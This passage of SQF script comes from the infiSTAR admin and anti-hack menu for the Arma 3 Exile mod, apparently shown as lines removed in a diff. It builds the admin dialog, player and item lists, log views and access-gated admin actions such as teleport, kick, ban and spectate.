- if(isPlayer _driver)then
- {
- _target setOwner (owner _driver);
- }
- else
- {
- _crew = crew _target;
- if!(_crew isEqualTo [])then
- {
- {
- if(isPlayer _x)exitWith
- {
- _target setOwner (owner _x);
- };
- } forEach _crew;
- };
- };
- _owner = owner _target;
- _code = {
- params[''_target'',''_class''];
- _added = [_target, _class] call ExileClient_util_playerEquipment_add;
- if(!_added)then
- {
- _itemInformation = [_class] call BIS_fnc_itemType;
- _itemCategory = _itemInformation select 0;
- _itemType = _itemInformation select 1;
- if(_itemCategory isEqualTo ''Magazine'')then
- {
- _target addMagazine _class;
- }
- else
- {
- if(_itemCategory isEqualTo ''Weapon'')then
- {
- _target addWeapon _class;
- }
- else
- {
- _target addItem _class;
- };
- };
- };
- };
- [[_target,_class],_code,_owner,false] call FN_infiSTAR_S;
- ';
- [_toserver] call admin_d0_server;
- };
- };
- fnc_HTML_LOAD = {
- _html = uiNamespace getVariable 'RscHTML_infiSTAR_Admin';
- if(ctrlHTMLLoaded _html)exitWith{_html ctrlEnable true;_html ctrlShow true;};
- [
- '',
- {
- if(!isNil'START_LOADING_HTML')then{terminate START_LOADING_HTML;START_LOADING_HTML=nil;};
- START_LOADING_HTML = [] spawn {
- disableSerialization;
- _html = uiNamespace getVariable 'RscHTML_infiSTAR_Admin';
- _html htmlLoad HTML_LOAD_URL_EXILE;
- _start = diag_tickTime + .2;
- waitUntil {diag_tickTime > _start};
- if(!ctrlHTMLLoaded _html)exitWith{_html ctrlEnable false;_html ctrlShow false;};
- };
- }
- ] execFSM 'call.fsm';
- };
- fnc_FULLinit = {
- disableSerialization;
- if(isNull findDisplay MAIN_DISPLAY_ID)then
- {
- createdialog 'infiSTAR_AdminMenu';
- call fnc_initOnceOnOpen;
- };
- call fnc_initOnKeyPress;
- };
- fnc_btn_html = {
- infiSTAR_HTML_LOAD = !infiSTAR_HTML_LOAD;
- if(infiSTAR_HTML_LOAD)then{call fnc_HTML_LOAD;};
- [] call fnc_colorButtons;
- };
- fnc_initOnceOnOpen = {
- _display = findDisplay MAIN_DISPLAY_ID;
- _btn = [_display,'RSCButton',1338001] call fnc_createctrl;
- _btn ctrlSetText 'SAVE TOGGLE STATE';
- _btn ctrlSetPosition [
- 0.39 * safezoneW + safezoneX + (0.15 * safezoneW),
- 0.0379694 * safezoneH + safezoneY,
- 0.12 * safezoneW,
- 0.02 * safezoneH
- ];
- _btn buttonSetAction '
- profileNamespace setVariable [''infiSTAR_saveToggle'',infiSTAR_toggled_A];
- saveprofileNamespace;
- _log = ''Saved currently toggled/enabled admin functions. Next time you login as admin, they will automatically turn on.'';
- _log call FN_SHOW_LOG;
- systemChat (''<infiSTAR.de> ''+_log);
- ';
- _btn ctrlCommit 0;
- if(infiSTAR_HTML_LOAD)then{call fnc_HTML_LOAD;};
- };
- fnc_initOnKeyPress = {
- if!(FILLMAINSTATE in [1,2])then{FILLMAINSTATE = 0;};
- _display = findDisplay MAIN_DISPLAY_ID;
- _ctrlL = _display displayCtrl LEFT_SHIFT_ID;
- _ctrlL ctrlRemoveAllEventHandlers 'LBDblClick';
- _ctrlL ctrlRemoveAllEventHandlers 'LBSelChanged';
- _ctrlL ctrlAddEventHandler ['LBDblClick', 'call fnc_LBDblClick_LEFT;[] call fnc_setFocus;'];
- _ctrlL ctrlAddEventHandler ['LBSelChanged', 'call fnc_LBSelChanged_LEFT;[] call fnc_setFocus;'];
- [] call fnc_fill_infiSTAR_Player;
- _ctrlR = _display displayCtrl RIGHT_SHIFT_ID;
- _ctrlR ctrlRemoveAllEventHandlers 'LBDblClick';
- _ctrlR ctrlRemoveAllEventHandlers 'LBSelChanged';
- _ctrlR ctrlAddEventHandler ['LBDblClick', 'call fnc_LBDblClick_RIGHT;[] call fnc_setFocus;'];
- _ctrlR ctrlAddEventHandler ['LBSelChanged', 'call fnc_LBSelChanged_RIGHT;[] call fnc_setFocus;'];
- [] call fnc_fill_infiSTAR_MAIN;
- _ctrl = _display displayCtrl 2;
- _ctrl ctrlSetText format['Players loaded in: %1 of %2 SERVER UPTIME: %3 SERVER FPS: %4 SERVER THREADS: %5 infiSTAR.de Admin Menu %6',count playableUnits,((playersNumber west)+(playersNumber east)+(playersNumber civilian)+(playersNumber resistance)),call GET_TIME_TIME,SERVER_FPS,SERVER_THREADS,INFISTARVERSION];
- _btnMainMenu = _display displayCtrl 20;
- _btnMainMenu buttonSetAction 'FILLMAINSTATE=0;[] call fnc_fill_infiSTAR_MAIN;[] call fnc_setFocus;[] call fnc_colorButtons;';
- _btnSpawnMenu = _display displayCtrl 21;
- _btnSpawnMenu buttonSetAction 'FILLMAINSTATE=1;[] call fnc_fill_infiSTAR_MAIN;[] call fnc_setFocus;[] call fnc_colorButtons;';
- if('==== Loadouts ====' call ADMINLEVELACCESS)then{call fnc_Loadoutmenu;};
- if('==== WeatherLord ====' call ADMINLEVELACCESS)then{call fnc_WeatherLord;};
- call fnc_SearchFieldButtons;
- [] call fnc_setFocus;
- [] call fnc_colorButtons;
- };
- fnc_colorizeMain = {
- disableSerialization;
- _ctrl = (findDisplay MAIN_DISPLAY_ID) displayCtrl RIGHT_SHIFT_ID;
- _lsize = lbSize RIGHT_SHIFT_ID;
- for '_i' from 0 to _lsize do
- {
- _lbtxt = lbtext [RIGHT_SHIFT_ID,_i];
- if(_lbtxt in (infiSTAR_Toggleable+infiSTAR_CUSTOM_Toggleable))then
- {
- if(_lbtxt in infiSTAR_toggled_A)then
- {
- _ctrl lbSetColor [_i,[0,1,0,1]];
- }
- else
- {
- _ctrl lbSetColor [_i,[1,0,0,1]];
- };
- };
- if(_lbtxt in infiSTAR_SubMenus)then
- {
- _ctrl lbSetColor [_i,[0.67,0.97,0.97,1]];
- };
- if(_lbtxt in infiSTAR_OnTargetNICE)then
- {
- _ctrl lbSetColor [_i,[0,0.8,1,1]];
- };
- if(_lbtxt in infiSTAR_OnTargetEVIL)then
- {
- _ctrl lbSetColor [_i,[0.99,0.8,0.8,1]];
- };
- if(_lbtxt in infiSTAR_CUSTOM_OnTarget)then
- {
- _ctrl lbSetColor [_i,[0.78,0.66,0,1]];
- };
- };
- };
- fnc_colorButtons = {
- call fnc_SearchFieldButtons;
- disableSerialization;
- _display = findDisplay MAIN_DISPLAY_ID;
- _btnMainMenu = _display displayCtrl 20;
- if(FILLMAINSTATE isEqualTo 0)then{_btnMainMenu ctrlSetTextColor [0,1,0,1];} else {_btnMainMenu ctrlSetTextColor [1,1,1,1];};
- _btnSpawnMenu = _display displayCtrl 21;
- if(FILLMAINSTATE isEqualTo 1)then{_btnSpawnMenu ctrlSetTextColor [0,1,0,1];} else {_btnSpawnMenu ctrlSetTextColor [1,1,1,1];};
- _btnAntiHackLog = _display displayCtrl 23;
- _btnAntiHackLog ctrlSetText (format['AHLogs: %1',count AH_HackLogArray + count AH_SurvLogArray + count PVAH_AHTMPBAN]);
- _btnAntiHackLog buttonSetAction 'FILLMAINSTATE=3;[] call fnc_fill_HackLog;[] call fnc_setFocus;[] call fnc_colorButtons;';
- if(FILLMAINSTATE isEqualTo 3)then{_btnAntiHackLog ctrlSetTextColor [0,1,0,1];} else {_btnAntiHackLog ctrlSetTextColor [1,1,1,1];};
- _btnAdminLog = _display displayCtrl 24;
- _btnAdminLog ctrlSetText (format['AdminLogs: %1',count AH_AdmiLogArray]);
- _btnAdminLog buttonSetAction 'FILLMAINSTATE=4;[] call fnc_fill_AdminLog;[] call fnc_setFocus;[] call fnc_colorButtons;';
- if(FILLMAINSTATE isEqualTo 4)then{_btnAdminLog ctrlSetTextColor [0,1,0,1];} else {_btnAdminLog ctrlSetTextColor [1,1,1,1];};
- _btnItems = _display displayCtrl 36;
- if((LASTSUBBUTTON isEqualTo 0)&&(FILLMAINSTATE isEqualTo 1))then
- {
- _btnItems ctrlSetTextColor [0,1,0,1];
- _ctrlpos =
- [
- 0.2 * safezoneW + safezoneX,
- 0.173 * safezoneH + safezoneY,
- 0.15 * safezoneW,
- 0.025 * safezoneH
- ];
- _RSCButton33401 = [_display,'RSCButton',33401] call fnc_createctrl;
- _RSCButton33401 ctrlSetText 'INFRONT OF TARGET';
- _RSCButton33401 ctrlSetPosition _ctrlpos;
- _RSCButton33401 buttonSetAction 'BTN_GET_ITEM_SEL = 0;[] call fnc_colorButtons;';
- _RSCButton33401 ctrlCommit 0;
- _RSCButton33402 = [_display,'RSCButton',33402] call fnc_createctrl;
- _RSCButton33402 ctrlSetText 'ON TARGET';
- _RSCButton33402 ctrlSetPosition [((_ctrlpos select 0)+(_ctrlpos select 2))*1.2,_ctrlpos select 1,_ctrlpos select 2,_ctrlpos select 3];
- _RSCButton33402 buttonSetAction 'BTN_GET_ITEM_SEL = 1;[] call fnc_colorButtons;';
- _RSCButton33402 ctrlCommit 0;
- if(BTN_GET_ITEM_SEL isEqualTo 0)then
- {
- _RSCButton33401 ctrlSetTextColor [0,1,0,1];
- _RSCButton33402 ctrlSetTextColor [1,1,1,1];
- }
- else
- {
- _RSCButton33401 ctrlSetTextColor [1,1,1,1];
- _RSCButton33402 ctrlSetTextColor [0,1,0,1];
- };
- }
- else
- {
- _btnItems ctrlSetTextColor [1,1,1,1];
- ctrlDelete (_display displayCtrl 33401);
- ctrlDelete (_display displayCtrl 33402);
- };
- _btnVehs = _display displayCtrl 37;
- if((LASTSUBBUTTON isEqualTo 1)&&(FILLMAINSTATE isEqualTo 1))then
- {
- _btnVehs ctrlSetTextColor [0,1,0,1];
- if('Spawn Persistent Vehicles' call ADMINLEVELACCESS)then
- {
- _ctrlpos =
- [
- 0.2 * safezoneW + safezoneX,
- 0.173 * safezoneH + safezoneY,
- 0.15 * safezoneW,
- 0.025 * safezoneH
- ];
- _RSCButton33401 = [_display,'RSCButton',33403] call fnc_createctrl;
- _RSCButton33401 ctrlSetText 'NonPersistent';
- _RSCButton33401 ctrlSetPosition _ctrlpos;
- _RSCButton33401 buttonSetAction 'BTN_SPAWN_VEH_SEL = 0;[] call fnc_colorButtons;';
- _RSCButton33401 ctrlCommit 0;
- _RSCButton33402 = [_display,'RSCButton',33404] call fnc_createctrl;
- _RSCButton33402 ctrlSetText 'Persistent';
- _RSCButton33402 ctrlSetPosition [((_ctrlpos select 0)+(_ctrlpos select 2))*1.2,_ctrlpos select 1,_ctrlpos select 2,_ctrlpos select 3];
- _RSCButton33402 buttonSetAction 'BTN_SPAWN_VEH_SEL = 1;[] call fnc_colorButtons;';
- _RSCButton33402 ctrlEnable true;
- _RSCButton33402 ctrlCommit 0;
- if(BTN_SPAWN_VEH_SEL isEqualTo 0)then
- {
- _RSCButton33401 ctrlSetTextColor [0,1,0,1];
- _RSCButton33402 ctrlSetTextColor [1,1,1,1];
- }
- else
- {
- _RSCButton33401 ctrlSetTextColor [1,1,1,1];
- _RSCButton33402 ctrlSetTextColor [0,1,0,1];
- };
- };
- }
- else
- {
- _btnVehs ctrlSetTextColor [1,1,1,1];
- if('Spawn Persistent Vehicles' call ADMINLEVELACCESS)then
- {
- ctrlDelete (_display displayCtrl 33403);
- ctrlDelete (_display displayCtrl 33404);
- };
- };
- _btnTrader = _display displayCtrl 38;
- if(LASTSUBBUTTON isEqualTo 2)then{_btnTrader ctrlSetTextColor [0,1,0,1];} else {_btnTrader ctrlSetTextColor [1,1,1,1];};
- _mytime = 0.3;
- _ctrlR = _display displayCtrl RIGHT_SHIFT_ID;
- if(isNil 'ctrlposR')then{ctrlposR = ctrlPosition _ctrlR;};
- _ctrlRTMP = [(ctrlposR select 0),(ctrlposR select 1),(ctrlposR select 2)*2.35,(ctrlposR select 3)];
- if(FILLMAINSTATE isEqualTo 0)then
- {
- _ctrlRTMP = ctrlposR;
- };
- if(FILLMAINSTATE isEqualTo 1)then
- {
- _ctrlRTMP = [(ctrlposR select 0),(ctrlposR select 1)+.25,(ctrlposR select 2),(ctrlposR select 3)-.25];
- };
- _ctrlR ctrlSetPosition _ctrlRTMP;
- _ctrlR ctrlCommit _mytime;
- _btnHTML = _display displayCtrl 25;
- if(infiSTAR_HTML_LOAD)then{_btnHTML ctrlSetTextColor [1,0,0,1];_btnHTML ctrlSetText 'HIDE HTML';}else{_btnHTML ctrlSetTextColor [0,1,0,1];_btnHTML ctrlSetText 'SHOW HTML';};
- (uiNamespace getVariable 'RscHTML_infiSTAR_Admin') ctrlEnable infiSTAR_HTML_LOAD;
- (uiNamespace getVariable 'RscHTML_infiSTAR_Admin') ctrlShow infiSTAR_HTML_LOAD;
- };
- fnc_fill_HackLog = {
- disableSerialization;
- _ctrl = (findDisplay MAIN_DISPLAY_ID) displayCtrl RIGHT_SHIFT_ID;
- lbclear _ctrl;
- _ctrl lbAdd 'clear ingame HackLog';
- _ctrl lbAdd 'DBL-CLICK TO SYSTEMCHAT';
- _ctrl lbAdd '--------------------';
- _cnt = count AH_HackLogArray;
- _ctrl lbAdd format['HackLog: %1',_cnt];
- for '_i' from (_cnt - 1) to 0 step -1 do
- {
- _ctrl lbAdd (AH_HackLogArray select _i);
- };
- _ctrl lbAdd '';
- _cnt = count AH_SurvLogArray;
- _ctrl lbAdd format['SurveillanceLog: %1',_cnt];
- for '_i' from (_cnt - 1) to 0 step -1 do
- {
- _ctrl lbAdd (AH_SurvLogArray select _i);
- };
- _ctrl lbAdd '';
- _ctrl lbAdd format['BanLog: %1',count PVAH_AHTMPBAN];
- if(str PVAH_AHTMPBAN != '[]')then
- {
- _ctrl lbAdd 'DBL-CLICK TO REMOVE';
- {_ctrl lbAdd _x;} forEach PVAH_AHTMPBAN;
- };
- for '_i' from 0 to 12 do {_ctrl lbAdd '';};
- };
- fnc_fill_AdminLog = {
- disableSerialization;
- _ctrl = (findDisplay MAIN_DISPLAY_ID) displayCtrl RIGHT_SHIFT_ID;
- lbclear _ctrl;
- if('AdminLog' call ADMINLEVELACCESS)then
- {
- _ctrl lbAdd 'clear ingame AdminLog';
- _ctrl lbAdd 'DBL-CLICK TO SYSTEMCHAT';
- {_ctrl lbAdd _x;} forEach AH_AdmiLogArray;
- }
- else
- {
- _ctrl lbAdd 'Nothin to see here';
- };
- for '_i' from 0 to 12 do {_ctrl lbAdd '';};
- };
- infiSTAR_SubMenus =
- [
- '==== Vehicles ====','==== OnTarget ====','==== Toggleable ====','==== Custom Functions ===='
- ];
- infiSTAR_SubMenus append newAllItems_CATEGORY;
- infiSTAR_OnTargetNICE =
- [
- 'Teleport - Target To Me','Teleport - Me To Target',
- 'Request Steam Name','Revive','Heal','Restore','Flip Vehicle',
- 'Move In My Vehicle','Move In Target Vehicle','Remove Unconscious',
- 'UnFreeze','UnRestrain',
- 'Change Money on Player','Change Money on Bank','Change Respect'
- ];
- infiSTAR_OnTargetEVIL =
- [
- 'Restrain','Freeze',
- 'Remove Gear','Kill','Light','Explode','Delete Vehicle','Eject','Eject Crew','Unconscious',
- 'Force Disconnect','Kick (Silent)','Kick (Announce)',
- 'Ban (Silent)','Ban (Announce)','TempBan (Silent)','TempBan (Announce)'
- ];
- infiSTAR_OnTarget = infiSTAR_OnTargetNICE + infiSTAR_OnTargetEVIL;
- infiSTAR_Toggleable =
- [
- 'Player ESP','Player ESP (safezone style)','Player ESP Old','AI ESP','Dead ESP','Loot ESP',
- 'MapIcons','Vehicle Marker','Flag Marker (with radius)','DeadPlayer Marker','Stealth / Invisible',
- 'God Mode','God Mode (no stats change)','Vehicle God Mode','Vehboost','UnlimAmmo','noRecoil','FastFire','Lower Terrain',
- 'Disable Announces','Teleport In Facing Direction (10m steps)','Show Server Information'
- ];
- fnc_fill_infiSTAR_MAIN = {
- disableSerialization;
- _ctrl = (findDisplay MAIN_DISPLAY_ID) displayCtrl RIGHT_SHIFT_ID;
- lbclear _ctrl;
- if(FILLMAINSTATE == 1)then
- {
- switch (LASTSUBBUTTON) do {
- case 0:{
- if('Items spawn menu' call ADMINLEVELACCESS)then
- {
- {
- _category = _x;
- _ctrl lbAdd _category;
- _varstate = missionNameSpace getVariable (_category+'SHOW_STATE');
- if(!isNil '_varstate')then
- {
- _variable = missionNameSpace getVariable (_category+'_ARRAY');
- {
- _displayName = getText(configFile >> 'CfgWeapons' >> _x >> 'displayName');
- if(_displayName isEqualTo '')then{_displayName = getText(configFile >> 'CfgMagazines' >> _x >> 'displayName');};
- if(_displayName isEqualTo '')then{_displayName = getText(configFile >> 'CfgVehicles' >> _x >> 'displayName');};
- _lbid = _ctrl lbAdd format['%1 (%2)',_displayName,_x];
- _ctrl lbSetData [_lbid,_x];
- _x call fnc_addpic;
- } forEach _variable;
- };
- } forEach newAllItems_CATEGORY;
- for '_i' from 0 to 12 do {_ctrl lbAdd '';};
- };
- };
- case 1:{
- if(('Spawn Vehicles' call ADMINLEVELACCESS) || ('Spawn Persistent Vehicles' call ADMINLEVELACCESS))then
- {
- _ctrl lbAdd '==== Vehicles ====';
- if(!isNil 'infiSTAR_add_vehicles')then
- {
- _lbid = _ctrl lbAdd 'Exile vehicles:';
- _ctrl lbSetColor [_lbid, [0,1,0,1]];
- {
- _lbid = _ctrl lbAdd format['%1 (%2)',getText(configFile >> 'CfgVehicles' >> _x >> 'displayName'),_x];
- _ctrl lbSetData [_lbid,_x];
- _x call fnc_addpic;
- _ctrl lbSetColor [_lbid, [0,1,0,1]];
- } forEach ALL_VEHS_TO_SEARCH_C_EXILE;
- _ctrl lbAdd '';
- _ctrl lbAdd 'Other vehicles:';
- {
- _lbid = _ctrl lbAdd format['%1 (%2)',getText(configFile >> 'CfgVehicles' >> _x >> 'displayName'),_x];
- _ctrl lbSetData [_lbid,_x];
- _x call fnc_addpic;
- } forEach ALL_VEHS_TO_SEARCH_C_OTHER;
- };
- };
- for '_i' from 0 to 12 do {_ctrl lbAdd '';};
- };
- case 2:{
- _lbid = _ctrl lbAdd '!!! ATTENTION !!!';_ctrl lbSetData [_lbid,'-1337'];
- _lbid = _ctrl lbAdd 'Trader menus might be a bit buggy.';_ctrl lbSetData [_lbid,'-1337'];
- {
- _lbid = _ctrl lbAdd (_x select 0);
- if(count _x isEqualTo 1)then{_ctrl lbSetData [_lbid,'-1337'];}else{_ctrl lbSetData [_lbid,str _forEachIndex];};
- } forEach TRADER_FUNCTION_ARRAY;
- };
- default {lbclear _ctrl;};
- };
- };
- if(FILLMAINSTATE == 0)then
- {
- _onTarget = [];
- {if(_x call ADMINLEVELACCESS)then{_onTarget pushBack _x;};} forEach infiSTAR_OnTargetNICE;
- if!(_onTarget isEqualTo [])then{_onTarget pushBack '---';};
- {if(_x call ADMINLEVELACCESS)then{_onTarget pushBack _x;};} forEach infiSTAR_OnTargetEVIL;
- if!(_onTarget isEqualTo [])then
- {
- _ctrl lbAdd '==== OnTarget ====';
- if(isNil 'infiSTAR_add_OnTarget')then
- {
- {_ctrl lbAdd _x;} forEach _onTarget;
- };
- };
- _Toggleable = [];
- {if(_x call ADMINLEVELACCESS)then{_Toggleable pushBack _x;};} forEach infiSTAR_Toggleable;
- if!(_Toggleable isEqualTo [])then
- {
- _ctrl lbAdd '==== Toggleable ====';
- if(isNil 'infiSTAR_add_Toggleable')then
- {
- {_ctrl lbAdd _x;} forEach _Toggleable;
- };
- };
- if('Spawn Ammo' call ADMINLEVELACCESS)then{_ctrl lbAdd 'Spawn Ammo';};
- if('Change ViewDistance' call ADMINLEVELACCESS)then{_ctrl lbAdd 'Change ViewDistance';};
- if('FreeRoam Cam (does not work with ESP)' call ADMINLEVELACCESS)then{_ctrl lbAdd 'FreeRoam Cam (does not work with ESP)'};
- if('BIS FreeRoam Cam (works with ESP)' call ADMINLEVELACCESS)then{_ctrl lbAdd 'BIS FreeRoam Cam (works with ESP)'};
- if('Spawn Support-Boxes' call ADMINLEVELACCESS)then
- {
- _ctrl lbAdd '';
- {
- _ctrl lbAdd _x;
- } forEach allSupportBoxesNames;
- };
- if('Create Billboard' call ADMINLEVELACCESS)then
- {
- _ctrl lbAdd '';
- {
- _index = _ctrl lbAdd format['Create Billboard: %1',_x select 0];
- } forEach pathToCustomBillBoardTextures;
- };
- _ctrl lbAdd '';
- if('Copy Worldspace(coords) to RPT & Chat' call ADMINLEVELACCESS)then{_ctrl lbAdd 'Copy Worldspace(coords) to RPT & Chat';};
- if('Mass Message' call ADMINLEVELACCESS)then{_ctrl lbAdd 'Mass Message';};
- if('Change Time' call ADMINLEVELACCESS)then{_ctrl lbAdd 'Day'};
- if('Change Time' call ADMINLEVELACCESS)then{_ctrl lbAdd 'Night'};
- if('AdminConsole' call ADMINLEVELACCESS)then{_ctrl lbAdd 'AdminConsole';};
- if('DebugConsole' call ADMINLEVELACCESS)then{_ctrl lbAdd 'DebugConsole';};
- if('Login as Arma Admin' call ADMINLEVELACCESS)then
- {
- if(isNil 'serverCommandLoginDone')then{_ctrl lbAdd 'Login';};
- if(serverCommandAvailable '#logout')then
- {
- _target = lbtext[LEFT_SHIFT_ID,(lbCurSel LEFT_SHIFT_ID)];
- _ctrl lbAdd format['#kick %1',_target];
- _ctrl lbAdd format['#exec ban %1',str _target];
- };
- };
- _ctrl lbAdd '';
- _ctrl lbAdd 'Self Disconnect';
- _ctrl lbAdd '';
- if('==== Base Deleter ====' call ADMINLEVELACCESS)then
- {
- _index = _ctrl lbAdd '==== Base Deleter ====';
- _ctrl lbSetColor [_index, [0.2,0.4,1,1]];
- if(isNil 'infiSTAR_add_BaseDeleter')then
- {
- _ctrl lbAdd 'BD: Set Center';
- if(!isNil 'CCGbdCenter')then{
- _ctrl lbAdd 'BD: Set Radius';
- };
- if(!isNil 'CCGbdCenter' && !isNil 'CCGbdRadius')then{
- _ctrl lbAdd '';
- _objects = call CCG_fnc_bdGetObjectsToDelete;
- _ctrl lbAdd format['BD: Selected %1 Objects', count _objects];
- _index = _ctrl lbAdd 'BD: Delete Base';
- _ctrl lbSetColor [_index, [0.8,0,0,1]];
- _ctrl lbAdd '';
- _objects = call CCG_fnc_bdGetWeaponHoldersToDelete;
- _ctrl lbAdd format['BD: Selected %1 WeaponHolder', count _objects];
- _index = _ctrl lbAdd 'BD: Delete Weaponholder';
- _ctrl lbSetColor [_index, [0.8,0,0,1]];
- _ctrl lbAdd '';
- };
- _ctrl lbAdd 'BD: Cancel / Remove';
- _ctrl lbAdd '';
- };
- };
- if(!isNil'infiSTAR_customFunctions')then
- {
- _customFunctions = [];
- {if((_x select 1) call ADMINLEVELACCESS)then{_customFunctions pushBack (_x select 1);};} forEach infiSTAR_customFunctions;
- if!(_customFunctions isEqualTo [])then
- {
- _ctrl lbAdd '==== Custom Functions ====';
- if(isNil 'infiSTAR_add_customFunctions')then
- {
- {_ctrl lbAdd _x;} forEach _customFunctions;
- };
- };
- };
- _ctrl lbAdd '';
- _ctrl lbAdd 'Keybinds:';
- _ctrl lbAdd 'F1 - Default AdminMenu Key';
- _ctrl lbAdd 'F3 - Adminconsole / Debug Console';
- _ctrl lbAdd 'F6 - Heal Yourself';
- _ctrl lbAdd 'F7 - Heal & Repair withing 15m';
- _ctrl lbAdd 'F8 - Flip CursorTarget Vehicle';
- _ctrl lbAdd 'F9 - Show Gear of Player you are currently spectating (might close if player moves)';
- _ctrl lbAdd 'F10 - Stop Spectating';
- _ctrl lbAdd 'F11 - Add Ammo for current weapon';
- _ctrl lbAdd 'CTRL & 1 - Light / Zeus';
- _ctrl lbAdd 'SHIFT & 4 - Fly Up';
- _ctrl lbAdd 'SHIFT & 5 - Teleport in looking direction (if enabled)';
- _ctrl lbAdd '7 - Unlock/Lock targeted Vehicle';
- _ctrl lbAdd 'SHIFT & F2 - configviewer';
- _ctrl lbAdd 'SHIFT & TAB - Open Map';
- _ctrl lbAdd 'SHIFT & I - Show Info (Like Codes of Vehicles and Doors)';
- _ctrl lbAdd 'DELETE - Delete CursorTarget';
- _ctrl lbAdd 'ON MAP - LEFT-ALT + CLICK To Teleport';
- _ctrl lbAdd 'TYPE !admin in Chat to relog as player/admin';
- };
- [] call fnc_colorizeMain;
- for '_i' from 0 to 12 do {_ctrl lbAdd '';};
- };
- fnc_get_plr = {allPlayers};
- fnc_fill_infiSTAR_Player_REAL = {
- disableSerialization;
- _ctrl = (findDisplay MAIN_DISPLAY_ID) displayCtrl LEFT_SHIFT_ID;
- lbclear _ctrl;
- _unsorted = call fnc_get_plr;
- _sorted = _unsorted;
- lbclear _ctrl;
- if!(_sorted isEqualTo [])then
- {
- _fnc_addPlayerToList = {
- if(isNull _x)exitWith{};
- _PUIDX = getPlayerUID _x;
- if(_PUIDX == '')exitWith{};
- _side = side _x;
- _grp = group _x;
- _ExileName = if(alive _x)then{name _x}else{_x getVariable['ExileName',name _x]};
- _name = format['%1 [%2]',_ExileName,_side];
- if(count units _grp > 1)then
- {
- _name = format['%1 [%2 (%3)]',_ExileName,_side,_grp];
- };
- _index = _ctrl lbAdd _name;
- _veh = vehicle _x;
- _xpic = getText (configFile >> 'CfgVehicles' >> (typeOf _veh) >> 'picture');
- if(alive _x)then
- {
- if(_x == _veh)then
- {
- _wpnstate = weaponState _x;
- _cwep = _wpnstate select 0;
- if(_cwep != '')then
- {
- _xpic = getText (configFile >> 'CfgWeapons' >> _cwep >> 'picture');
- };
- };
- };
- if(_xpic call FNC_PIC_VALID)then
- {
- _ctrl lbSetPicture [_index,_xpic];
- _ctrl lbSetPictureColor [_index,[1, 1, 1, 1]];
- };
- _clr = _x call FN_GET_CLR_PLAYERLIST;
- _ctrl lbSetColor [_index,_clr];
- };
- if(!isNil'SortAlphaPlease')exitWith
- {
- {call _fnc_addPlayerToList} forEach _sorted;
- };
- if(!isNil'SortGroupsPlease')exitWith
- {
- _shown = [];
- {
- _grp = group _x;
- if!(_grp in _shown)then
- {
- _shown pushBack _grp;
- _ctrl lbAdd format['______%1______',_grp];
- {
- call _fnc_addPlayerToList;
- } forEach (units _grp);
- };
- } forEach _sorted;
- };
- if(!isNil'SortRangePlease')exitWith
- {
- sortRangePos = if(positionCameraToWorld [0,0,0] distance cameraOn > 10)then{positionCameraToWorld [0,0,0]}else{cameraOn};
- _sorted = [_unsorted,[],{sortRangePos distance _x},'ASCEND'] call BIS_fnc_sortBy;
- {call _fnc_addPlayerToList} forEach _sorted;
- };
- };
- _display = findDisplay MAIN_DISPLAY_ID;
- _btnSortAlpha = _display displayCtrl 10;if(!isNil 'SortAlphaPlease')then{lbSort _ctrl;_btnSortAlpha ctrlSetTextColor [0,1,0,1];} else {_btnSortAlpha ctrlSetTextColor [1,1,1,1];};
- _btnSortGroups = _display displayCtrl 11;if(!isNil 'SortGroupsPlease')then{_btnSortGroups ctrlSetTextColor [0,1,0,1];} else {_btnSortGroups ctrlSetTextColor [1,1,1,1];};
- _btnSortRange = _display displayCtrl 12;if(!isNil 'SortRangePlease')then{_btnSortRange ctrlSetTextColor [0,1,0,1];} else {_btnSortRange ctrlSetTextColor [1,1,1,1];};
- _ctrl lbAdd '-----------------------------------';
- _index = _ctrl lbAdd '[Selected]';_ctrl lbSetColor [_index,[1,0.7,0.15,1]];
- _index = _ctrl lbAdd '[In Vehicle]';_ctrl lbSetColor [_index,[0.047,0.502,1,1]];
- _index = _ctrl lbAdd '[Player]';_ctrl lbSetColor [_index,[1,0.17,0.17,1]];
- _index = _ctrl lbAdd '[Group]';_ctrl lbSetColor [_index,[1,0.95,0,1]];
- _index = _ctrl lbAdd '[Admin]';_ctrl lbSetColor [_index,[0,1,0,1]];
- _index = _ctrl lbAdd '[Dead Player]';_ctrl lbSetColor [_index,[1,1,1,1]];
- for '_i' from 0 to 12 do {_ctrl lbAdd '';};
- };
- fnc_fill_infiSTAR_Player = {
- [
- '',
- {
- call fnc_fill_infiSTAR_Player_REAL
- }
- ] execFSM 'call.fsm';
- };
- fnc_LBDblClick_LEFT = {
- if(!isNil 'SELECTED_TARGET_PLAYER')then
- {
- if(!isNull SELECTED_TARGET_PLAYER)then
- {
- if('spectating' call ADMINLEVELACCESS)then{SELECTED_TARGET_PLAYER call fnc_beginspectate;};
- };
- };
- };
- fnc_LBSelChanged_LEFT = {
- _obj = call fnc_get_selected_object;
- if(!isNull (findDisplay MAIN_DISPLAY_ID displayCtrl 44463))then
- {
- (findDisplay MAIN_DISPLAY_ID displayCtrl 44463) ctrlSetText format['SELECTED TARGET: %1',SELECTED_TARGET_PLAYER];
- };
- if(visibleMap)then
- {
- (uiNamespace getVariable 'A3MAPICONS_mainMap') ctrlMapAnimAdd [1, 0.1, getPos _obj];
- ctrlMapAnimCommit (uiNamespace getVariable 'A3MAPICONS_mainMap');
- };
- _obj
- };
- fnc_GET_ITEM = {
- _target = call fnc_get_selected_object;
- if((BTN_GET_ITEM_SEL isEqualTo 0)&&!(FILLMAINSTATE isEqualTo 6))then
- {
- _posATL = getPosATL _target;
- _pos = _target modelToWorld [0,1.5,0];
- _pos set[2,_posATL select 2];
- [3,netId _target,_pos,_class] call fnc_AdminReq;
- _log = format['Spawning %1 on the ground infront of %2!',_click,name _target];
- _log call fnc_adminLog;
- _log call FN_SHOW_LOG;
- }
- else
- {
- [_target,_class] call fnc_reallyAdditem;
- _log = format['Spawning %1 on %2!',_click,name _target];
- _log call fnc_adminLog;
- _log call FN_SHOW_LOG;
- };
- };
- FN_EXILE_VEH_TRADER_ADMIN = {
- if((player isEqualTo (vehicle player))&&((_this select 2 isEqualTo 1)))exitWith
- {
- systemChat '<infiSTAR.de> You need to be in a Vehicle to use this!'
- };
- _obj = (_this select 0) createVehicleLocal (getPos player);
- _obj setVariable ['ExileTraderType',(_this select 0)];
- _obj call (missionNameSpace getVariable (_this select 1));
- deleteVehicle _obj;
- };
- fnc_toggleables = {
- _stop = false;
- switch (_this) do {
- case 'Player ESP':{call fnc_PlayerESP_NORM;};
- case 'Player ESP (safezone style)':{call fnc_PlayerESP_SS;};
